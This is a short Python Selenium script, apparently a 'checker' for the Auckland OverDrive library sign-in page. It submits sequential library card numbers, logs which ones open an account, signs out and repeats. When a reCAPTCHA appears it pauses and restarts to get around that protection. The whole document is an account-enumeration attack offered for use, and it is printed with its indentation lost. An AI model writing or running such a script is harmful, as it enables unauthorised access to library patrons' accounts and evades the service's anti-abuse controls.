1. ## auck-lib checker
  2. import time
  3. from selenium import webdriver
  4. from selenium.common.exceptions import NoSuchElementException
  5. def main():
  6. driver = webdriver.Chrome(PATH_TO_CHROMEDRIVER_BINARY)
  7. tries = 1
  8. while tries < 100:
  9. driver.get('https://auckland.overdrive.com/account/sign-in?forward=/')
  10. try:
  11. iframe = driver.find_element_by_xpath('//*[@id="library-login-form"]/div[4]/div/div/div/iframe')
  12. if not iframe:
  13. pass
  14. else:
  15. print('Found ReCaptcha. Breaking out of loop.\n')
  16. print('Restarting the loop in 300 secs.\n')
  17. driver.quit()
  18. time.sleep(300)
  19. main()
  20. except NoSuchElementException as e:
  21. pass
  22. driver.find_element_by_xpath('//*[@id="username"]').click()
  23. f_read = open("D:\\auck_lib.txt", "r")
  24. last_line = f_read.readlines()[-1]
  25. last = last_line.strip()
  26. f_read.close()
  27. try:
  28. card_ = last.replace(' passed.', '')
  29. card = int(card_)+int(1)
  30. except ValueError as e:
  31. card_ = last.replace(' failed.', '')
  32. card = int(card_)+int(1)
  33. driver.find_element_by_xpath('//*[@id="username"]').send_keys(str(card))
  34. driver.find_element_by_xpath('//*[@id="create-account"]').click()
  35. time.sleep(2)
  36. try:
  37. successPage = driver.find_element_by_id('account-holder-name')
  38. if successPage:
  39. print('{} passed.'.format(str(card)))
  40. f = open("D:\\auck_lib.txt","a")
  41. f.write('%s passed.\n' % card)
  42. f.close()
  43. successPage.click()
  44. driver.find_element_by_class_name('Nav-accountMenuSignOutLink').click()
  45. else:
  46. pass
  47. time.sleep(2)
  48. except NoSuchElementException as e:
  49. print('{} failed.'.format(str(card)))
  50. f = open("D:\\auck_lib.txt","a")
  51. f.write('%s failed.\n' % card)
  52. f.close()
  53. main()